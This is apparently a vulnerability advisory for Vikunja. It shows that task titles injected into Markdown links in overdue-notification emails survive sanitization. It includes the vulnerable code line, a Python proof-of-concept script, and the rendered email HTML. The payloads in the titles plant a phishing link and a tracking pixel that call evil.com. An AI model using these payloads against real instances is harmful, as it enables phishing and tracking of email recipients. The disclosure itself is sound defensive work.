Vikunja has HTML Injection via Task Titles in Overdue Email Notifications

Summary

Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.

Details

The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:

overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`

The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.

The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.

Proof of Concept

Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()

# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": 'test](https://evil.com) [Click to verify your account',
    "due_date": "2026-03-26T00:00:00Z"})

# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": '![](https://evil.com/track.png?user=bob)',
    "due_date": "2026-03-26T00:00:00Z"})

# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
    "email_reminders_enabled": True,
    "overdue_tasks_reminders_enabled": True,
    "overdue_tasks_reminders_time": "09:00"})

# wait for the overdue notification cron to fire, then inspect the email

The overdue notification email HTML contains:

<li>
  <a href="https://evil.com">test</a>
  <a href="http://vikunja.example/tasks/5">Click to verify your account</a>
  (Shared), since one day
</li>
<li>
  <a href="http://vikunja.example/tasks/6">
    <img src="https://evil.com/track.png?user=bob">
  </a>
  (Shared), since one day
</li>